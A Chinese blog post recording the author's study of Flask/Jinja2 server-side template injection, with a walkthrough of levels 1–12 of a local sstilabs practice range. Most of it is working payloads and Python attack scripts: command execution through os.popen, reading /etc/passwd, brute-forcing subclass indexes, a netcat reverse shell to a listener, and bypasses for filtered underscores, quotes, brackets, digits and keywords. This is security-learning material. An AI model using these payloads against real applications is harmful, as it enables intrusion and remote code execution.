哔哩哔哩的橙子工作室的ssti教学
文章主要记录学习过程,不喜勿喷
靶场搭建(不建议看我这个,建议看看别人博客)
信安学习之SSTI靶场搭建-CSDN博客
建议看这个博客或者问一下AI,这个文章主要记录学习过程
kali没网换net
先更新
apt-get update
输入下面代码,遇到报错等等
git clone https://github.com/X3NNY/sstilabs.git
解决方法如下:
在/usr/share目录下编辑/etc/hosts
cd /usr/share
vim /etc/hosts
添加下面两行
140.82.113.4 github.com
199.232.69.194 github.global.ssl.fastly.net
在home下:cd ~
git clone https://github.com/X3NNY/sstilabs.git
或者
GIT_CURL_VERBOSE=1 GIT_TRACE_PACKET=1 GIT_TRACE=1 git clone https://github.com/X3NNY/sstilabs.git
安装venv
cd ~/sstilabs/flasklab
python3 -m venv venv # 创建虚拟环境(名字随便取)
source venv/bin/activate # 激活虚拟环境
pip install -r requirements.txt
#查看当前 Python 版本
python --version
#进入项目目录 /usr/share/sstilabs/flasklab
cd /usr/share/sstilabs/flasklab
#安装 Flask 依赖
pip install -r drequirements.txt
#升级 Flask 到最新版本
pip install --upgrade flask
#运行 Flask 应用
python app.py或者python app.py --host=0.0.0.0 --port=5000
关闭虚拟环境
deactivate
示例代码
from importlib.resources import contents
import time
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route('/', methods=['GET'])
def index():
str = request.args.get('ben')
html_str = '''
<html>
<head></head>
<body>{0}</body>
</html>
'''.format(str)
return render_template_string(html_str)
if __name__ == '__main__':
# app.debug = True
app.run('127.0.0.1', '1111')

可以就行注入攻击

SSTI危害
任意文件读取,rce远程控制
魔术方法

__base__直接查基类,__class__是当前所属的类,___subclass__()看所有子类,__globals__查看所有函数方法

[ ' 函数 ' ]( ‘ 指令 ’ ). 方法()
1.文件读取
{".__class__.mro__[1].__subclasses__()[79]["get_data"](0,"/etc/passwd")}}

2.内建函数eval

().__class__.__bases__[0].__subclasses__()[65].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("cat /etc/passwd").read()')
eval在’builtins’里面
3.读取配置文件下的 FLAG
{{url_for.__globals__['current_app'].config.FLAG}}
{{get_flashed_messages.__globals__['current_app'].config.FLAG}}
{{ ''.__class__.__bases__[0].__subclasses__()[65].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("cat /etc/passwd").read()') }}
从左到右的对象链路来解释每一段含义及作用。
''- 一个空字符串字面量,类型是
str。这是常见技巧:从一个普通对象出发向上“爬”到object、子类列表、函数全局等。
- 一个空字符串字面量,类型是
.__class__- 返回对象的类。对
''来说,就是str(字符串类)。
- 返回对象的类。对
.__bases__[0]str.__bases__返回str的基类元组,通常是(object,)。所以[0]取到object。- 目的:得到顶层
object类,以便调用object.__subclasses__()。
.__subclasses__()object.__subclasses__()会返回当前 Python 解释器已加载的、直接继承自object的所有类的列表(很多内建类型、模块中定义的类等都会列在这里)。这是枚举“可达类”的常用方法。
[65]- 从
__subclasses__()的列表中按索引取出第 66 个类(索引从 0 开始)。不同环境(Python 版本、导入的模块、运行的库)下这个索引对应的类会不同。攻击者常用固定索引试探目标环境中某个“有用”类(比如能访问__globals__的类)。 - 注意:这种按索引的方法不可靠(环境敏感),但有时在特定 CTF/靶场里可行。
- 从
.__init__- 取得该类的
__init__属性。对某些类,__init__是一个真正的 Python 函数(function),会有__globals__字典;对另一些内建类型它会是槽包装器(slot wrapper,没有__globals__)。攻击者选择的索引目的就是找到那个__init__是 Python function 的类,从而能拿到__globals__。
- 取得该类的
.__globals__- 这是 Python function 对象的内部属性,表示该函数定义所在模块的全局命名空间(一个字典)。它通常包含模块级变量、导入的模块、以及
__builtins__(或builtins)等。通过__globals__可以访问到很多原本不在模板上下文里的对象(例如__builtins__、模块等)。
- 这是 Python function 对象的内部属性,表示该函数定义所在模块的全局命名空间(一个字典)。它通常包含模块级变量、导入的模块、以及
['__builtins__']- 取出全局字典里的
__builtins__。这个条目通常是内置函数/模块的集合;在不同 Python 实现中,__builtins__可能是模块对象,也可能是包含内置名到对象映射的字典。这里假设它是个字典(或映射),可以通过键名拿到eval、open等内置函数。
- 取出全局字典里的
['eval']- 从
__builtins__里取出eval函数。eval会执行字符串形式的 Python 表达式或代码(安全风险极大),所以拿到eval能动态执行任意 Python 代码(受限于运行进程权限)。
- 从
('__import__("os").popen("cat /etc/passwd").read()')(作为eval的参数)- 这是传给
eval的字符串,它做的事情是:__import__("os")导入内置模块os;.popen("cat /etc/passwd")启动子进程执行cat /etc/passwd并返回文件对象(注意:popen在os下是os.popen,它会开 shell);.read()读取命令输出(也就是/etc/passwd的内容)。
- 最终
eval(...)的结果是/etc/passwd文件内容的文本,然后通过模板返回给调用者(页面上回显)。
- 这是传给
4.OS的 三种变体
找到os.py

{{ config.__class__.__init__.__globals__['os'].popen('whoami').read() }}
{{ url_for.__globals__['os'].popen('whoami').read() }}
(图中写法有省略点号的变体 url_for.__globals__.os,实际通常是索引 ['os'])
{{ ''.__class__.__bases__[0].__subclasses__()[199].__init__.__globals__['os'].popen('ls -l /opt').read() }}
这三条表达式本质上都做同一件事:从模板可达的对象出发,找到 os 模块(或 os 在某个函数的 globals 中),然后调用 os.popen(...) 去执行 shell 命令并读取输出

5.importlib类执行命令
使用 ‘_frozen_importlib.BuiltinImporter’ 的 ‘load_module’

import requests
url = input('请输入URL链接:')
for i in range(500):
data = {"name": "{{''.__class__.__bases__[0].__subclasses__()[" + str(i) + "]}}"}
try:
response = requests.post(url, data=data)
# print(response.text)
if response.status_code == 200:
if '_frozen_importlib.BuiltinImporter' in response.text:
print(i)
except:
pass
6.linecache


7.subprocess.Popen


总结:常用的payload

无脑使用(如果懒地去记那么多)
{{config.class.init.globals[‘os’].popen(‘calc’)}}
{{url_for.globals[‘os’].popen(‘calc’)}}
{{lipsum.globals[‘os’].popen(‘calc’)}}
{{get_flashed_messages.globals[‘os’].popen(‘calc’)}}
★过滤器★
| 分类 | 过滤器 | 作用 | 输出 | 示例 |
|---|---|---|---|---|
| 字符串处理 | lower | 转小写 | `{{ “HeLLo” | |
upper | 转大写 | `{{ “HeLLo” | ||
replace(old,new) | 替换子串 | `{{ “hello world” | ||
reverse | 反转字符串 | `{{ “abc” | ||
string | 强制转换为字符串 | `{{ 123 | ||
| 数字处理 | int | 转换为整数 | `{{ “12.9” | |
float | 转换为浮点数 | `{{ “12” | ||
| 序列/集合处理 | length | 获取长度 | `{{ [1,2,3,4] | |
list | 转换为列表 | `{{ “abc” | ||
reverse | 反转序列 | `{{ [1,2,3] | ||
join | 拼接序列为字符串 | `{{ [‘a’,‘b’,‘c’] | ||
| 对象处理 | attr("属性名") | 获取对象属性值 | `{{ user |
SSTI-labs通关
L1 无waf
用 方法5 利用脚本扫一下
import requests
url = input('请输入URL链接:')
for i in range(500):
code = {"code": "{{''.__class__.__bases__[0].__subclasses__()[" + str(i) + "]}}"}
try:
response = requests.post(url, data=code)
# print(response.text)
if response.status_code == 200:
if '_frozen_importlib.BuiltinImporter' in response.text:
print(i)
except:
pass
得到序号为122
{{().__class__.__base__.__subclasses__()[122]["load_module"]("os")["popen"]("cat flag").read()}}
或者 方法4
{{ config.__class__.__init__.__globals__['os'].popen('cat flag').read() }}
{{ url_for.__globals__['os'].popen('ls').read() }}
L2 过滤{{}}
脚本代码
import requests
url = "http://192.168.168.133:5000/level/2"
for i in range(500):
try:
data = {"code": '{% if "".__class__.__base__.__subclasses__()[' + str(i) + '].__init__.__globals__["popen"]("cat /etc/passwd").read() %}yin{% endif %}.'}
response = requests.post(url, data=data)
if response.status_code == 200:
if "yin" in response.text:
print(i, "---->", data)
break
except:
pass
{%print("".__class__.__base__.__subclasses__()[157].__init__.__globals__["popen"]("cat flag").read())%}
L3 无回显shell反弹
脚本代码(先在kali运行nc,再执行脚本代码)
import requests
url = "http://192.168.168.133:5000/level/3"
for i in range(300):
try:
data = {"code":'{{"".__class__.__base__.__subclasses__()[' + str(i) + '].__init__.__globals__["popen"]("netcat 192.168.168.133 9999 -e /bin/sh").read()}}'}
response = requests.post(url=url, data=data)
except:
pass
kali监听9999,向目标机注入“netcat 192.168.168.133 9999 -e /bin/sh”,kali远程获取控制权
然后cat flag就行
想法来源于

L4 过滤 ‘[’ ‘]’
.__getitem__(117)==[117] //替换
脚本
import requests
url = "http://192.168.168.133:5000/level/4"
for i in range(500):
data = {"code": '{{"" .__class__.__base__.__subclasses__().__getitem__(' + str(i) + ')}}'}
try:
response = requests.post(url, data=data)
if response.status_code == 200:
if "_wrap_close" in response.text:
print(i, "----->", response.text)
break
except:
pass
{{''.__class__.__base__.__subclasses__().__getitem__(157).__init__.__globals__.__getitem__('popen')('ls;cat flag').read()}}
大神payload
{{lipsum.__globals__.get('os').popen('ls').read()}}
L5 过滤引号
payload(一步一步找到popen的具体位置,然后调用)
<get>
http://192.168.168.133:5000/level/5?k1=popen&k2=ls;cat flag
<post>
code={{().__class__.__base__.__subclasses__()[157].__init__.__globals__[request.args.k1](request.args.k2).read()}}
脚本
import requests
def attack(url,i):
url=url+"?k1=popen&k2=ls;cat flag"
data={"code" : '{{().__class__.__base__.__subclasses__()['+str(i)+'].__init__.__globals__[request.args.k1](request.args.k2).read()}}'}
try:
response=requests.post(url=url,data=data)
if response.status_code==200:
print(response.text)
except:
pass
for i in range(200):
url = "http://192.168.168.133:5000/level/5"
data = {"code": '{{().__class__.__base__.__subclasses__()['+str(i)+'].__init__.__globals__}}'}
try:
response = requests.post(url, data=data)
if response.status_code == 200:
# print("200")
if "popen" in response.text:
print(i, "----->", response.text)
attack(url,i)
except:
pass
一定要找到对应模块下的popen!!
另一种解法,lipsum一次性定位到os,然后在os下 .popen(命令)
http://192.168.168.133:5000/level/5?k1=os&k2=ls;cat flag
code={{lipsum.__globals__[request.args.k1].popen(request.args.k2).read()}}
还有方法就是在args---->form,如下:
还有用agrs----->cookies
L6 过滤下划线__
脚本找到popen存在的位置157
import requests
def attack(url,i):
# i=157
url = "http://192.168.168.133:5000/level/6?class=__class__&base=__base__&subclasses=__subclasses__&getitem=__getitem__&ini=__init__&globals=__globals__&geti=__getitem__&read=read"
data = {
"code": "{{()|attr(request.args.class)|attr(request.args.base)|attr(request.args.subclasses)()|attr(request.args.getitem)("+str(i)+")|attr(request.args.ini)|attr(request.args.globals)|attr(request.args.geti)('popen')('ls;cat flag')|attr(request.args.read)()}}"}
try:
response=requests.post(url=url,data=data)
if response.status_code==200:
print(response.text)
except:
pass
for i in range(200):
url = "http://192.168.168.133:5000/level/6?class=__class__&base=__base__&subclasses=__subclasses__&getitem=__getitem__&init=__init__&globals=__globals__"
data = {"code": '{{()|attr(request.args.class)|attr(request.args.base)|attr(request.args.subclasses)()|attr(request.args.getitem)('+str(i)+')|attr(request.args.init)|attr(request.args.globals)}}'}
try:
response = requests.post(url, data=data)
if response.status_code == 200:
# print("200")
if "popen" in response.text:
print(i, "----->", response.text)
attack(url,i)
except:
pass
利用attr构造payload绕过
url:
http://192.168.168.133:5000/level/6?class=__class__&base=__base__&subclasses=__subclasses__&getitem=__getitem__&ini=__init__&globals=__globals__&geti=__getitem__&read=read
post:
code={{()|attr(request.args.class)|attr(request.args.base)|attr(request.args.subclasses)()|attr(request.args.getitem)(157)|attr(request.args.ini)|attr(request.args.globals)|attr(request.args.geti)('popen')('ls;cat flag')|attr(request.args.read)()}}
其它解法(Unicode,hex)
{{lipsum.__globals__['os'].popen('ls').read()}}
|
| #采用字典键+Unicode
V
{{lipsum['\x5f\x5fglobals\x5f\x5f']['os'].popen('cat /app/flag').read()}}
Unicode

hex

base64

格式化字符串url编码
%要用%25

L7 …过滤…
post:
code={{''['__class__']['__base__']['__subclasses__']()[157]['__init__']['__globals__']['popen']('ls;cat flag')['read']()}}
脚本寻找popen所在之处—>157
import requests
def attack(url, i):
# i=157
url = "http://192.168.168.133:5000/level/7"
data = {"code": "{{''['__class__']['__base__']['__subclasses__']()[" + str(i) + "]['__init__']['__globals__']['popen']('ls;cat flag')['read']()}}"}
print(url)
print(data)
try:
response = requests.post(url=url, data=data)
if response.status_code == 200:
print(response.text)
except:
pass
for i in range(200):
url = "http://192.168.168.133:5000/level/7"
data = {"code": "{{''['__class__']['__base__']['__subclasses__']()[" + str(i) + "]['__init__']['__globals__']}}"}
try:
response = requests.post(url, data=data)
if response.status_code == 200:
# print("200")
if "popen" in response.text:
print(i, "----->", response.text)
attack(url, i)
except:
pass
输出
Hello app.py
flag
level
requirements.txt
static
templates
venv
SSTILAB{enjoy_flask_ssti}
注意:这个题目要用’'或"",(){}[]无法索引到正确的模块
其他方法
可以参考之前的attr()过滤器,不多说了
或者直接使用lipsum
code={{lipsum['__globals__']['os']['popen']('ip a')['read']()}}
L8 特定关键词过滤
+拼接

~拼接


过滤器


py的char()

解法
加号拼接
code={{lipsum['__glo'+'bals__']['os']['pop'+'en']('cat flag')['read']()}}
脚本“+”拼接
import requests
def attack(url, i):
# i=157
url = "http://192.168.168.133:5000/level/8"
data = {"code": "{{''['__cla'+'ss__']['__b'+'ase__']['__subcl'+'asses__']()[" + str(i) + "]['__in'+'it__']['__glob'+'als__']['pop'+'en']('ls;cat flag')['re'+'ad']()}}"}
print(url)
print(data)
try:
response = requests.post(url=url, data=data)
if response.status_code == 200:
print(response.text)
except:
pass
for i in range(200):
url = "http://192.168.168.133:5000/level/8"
data = {"code": "{{''['__cla'+'ss__']['__ba'+'se__']['__subcl'+'asses__']()[" + str(i) + "]['__i'+'nit__']['__glob'+'als__']}}"}
try:
response = requests.post(url, data=data)
if response.status_code == 200:
# print("200")
if "popen" in response.text:
print(i, "----->", response.text)
attack(url, i)
except:
pass
L9 数字过滤
脚本找到popen所在模块-------->157
import requests
def attack(url, index):
# 生成对应长度的字符串
length_str = "a" * (index)
# 使用同样的 {% set %} 技巧
payload = "{{''['__class__']['__base__']['__subclasses__']()['" + length_str + "'|length]['__init__']['__globals__']['popen']('ls; cat flag').read()}}"
data = {"code": payload}
print(f"🚀 Attempting attack with index {index}...")
print(length_str)
try:
response = requests.post(url, data=data)
if response.status_code == 200:
print("🎉 Attack successful!")
print("Command output:")
print(response.text)
else:
print(f"❌ Attack failed with status code: {response.status_code}")
except Exception as e:
print(f"❌ Attack failed: {e}")
url = "http://192.168.168.133:5000/level/9"
s = 'a'
while len(s) <= 300:
# 使用 {% set %} 定义变量来绕过数字过滤
data = {"code": "{{''['__class__']['__base__']['__subclasses__']()['" + s + "'|length]['__init__']['__globals__']}}"}
try:
response = requests.post(url, data=data)
if response.status_code == 200:
# print(f"Testing index {len(s)}")
# print(response.text)
if "popen" in response.text:
print(f"🎯 Found popen at index {len(s)}!")
print(f"Response: {response.text}")
# 找到后调用攻击函数
attack(url, len(s))
break
s = s + 'a'
except :
pass

payload
code={{''['__class__']['__base__']['__subclasses__']()["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"|length]['__init__']['__globals__']['popen']('ls;cat flag')['read']()}}
输出结果
🎉 Attack successful!
Command output:
Hello app.py
flag
level
requirements.txt
static
templates
venv
SSTILAB{enjoy_flask_ssti}
又是这个方法
{{lipsum.__globals__['os'].popen('ls').read()}}
L10 过滤config
{{url_for.__globals__['current_app'].config}}
{{get_flashed.__messages__globals__['current_app'].config}}
lipsum不可行
脚本
import requests
url = "http://192.168.168.133:5000/level/10"
s = 'a'
data = {"code": "{{url_for.__globals__['current_app'].config}}"}
response = requests.post(url, data=data)
if response.status_code == 200:
print(response.text)
L11 混合过滤

join只拼接dict的键名,值无所谓

获取之后加个**[index]**就可以直接用了
1. 获取下划线
{% set ben = ({}|select()|string())[index] %}{{ben}}
作用: 获取下划线字符 _
原理: 生成器对象的字符串表示中包含下划线,如 <generator object select at 0x...>
2. 获取空格
{% set ben = (self|string())[index] %}{{ben}}
作用: 获取空格字符
原理: self|string() 返回类似 <TemplateReference None> 的字符串,其中包含空格
3. 获取百分号
{% set ben = (self|string|urlencode) [index]%}{{ben}}
作用: 获取百分号 %
原理: URL编码会将空格转为 %20,从而得到百分号字符
4. 获取应用信息
{% set ben = (app.__doc__|string)[index] %}{{ben}}
作用: 探测Flask应用信息
原理: 获取应用对象的文档字符串,用于环境侦察
★脚本
import requests
url = "http://192.168.168.133:5000/level/11"
data = {"code": "\
{%set b= dict(__globals__=1)|join%}\
{%set c= dict(o=1,s=1)|join%}\
{%set d= dict(popen=1)|join%}\
{%set geti= dict(__getitem__=1)|join%}\
{%set r= dict(re=1,ad=1)|join%}\
{% set kg = ({} | select() | string()|attr(geti)(10))%}\
{%set cmd= (dict(cat=a)|join,kg,dict(flag=a)|join)|join%}\
{{lipsum|attr(b)|attr(geti)(c)|attr(d)(cmd)|attr(r)()}}"}
response = requests.post(url, data=data)
if response.status_code==200:
print(response.text)
尤其要注意空格的获取方式!!!
{% set kg = ({} | select() | string()|attr(geti)(10))%}\
{%set cmd= (dict(cat=a)|join,kg,dict(flag=a)|join)|join%}\

payload
code={%set b= dict(__globals__=1)|join%}{%set c= dict(o=1,s=1)|join%}{%set d= dict(popen=1)|join%}{%set geti= dict(__getitem__=1)|join%}{%set r= dict(re=1,ad=1)|join%}{% set kg = ({} | select() | string()|attr(geti)(10))%}{%set cmd= (dict(cat=a)|join,kg,dict(flag=a)|join)|join%}{{lipsum|attr(b)|attr(geti)(c)|attr(d)(cmd)|attr(r)()}}
L12 混合过滤2

payload
code={%set nine=dict(aaaaaaaaa=a)|join|count%}
{%set eighteen=nine+nine%}{%set pop=dict(pop=a)|join%}
{%set xhx=(lipsum|string|list)|attr(pop)(eighteen)%}
{%set kg=(lipsum|string|list)|attr(pop)(nine)%}
{%set globals=(xhx,xhx,dict(globals=a)|join,xhx,xhx)|join%}
{%set getitem=(xhx,xhx,dict(getitem=a)|join,xhx,xhx)|join%}
{%set os=dict(os=a)|join%}
{%set popen=dict(popen=a)|join%}
{%set flag=(dict(cat=a)|join,kg,dict(flag=a)|join)|join%}
{%set read=dict(read=a)|join%}
{{lipsum|attr(globals)|attr(getitem)(os)|attr(popen)(flag)|attr(read)()}}

后续lab由于环境问题无法打开,SSTI-labs先到此为止
不喜勿喷,不喜勿喷

1155

被折叠的 条评论
为什么被折叠?



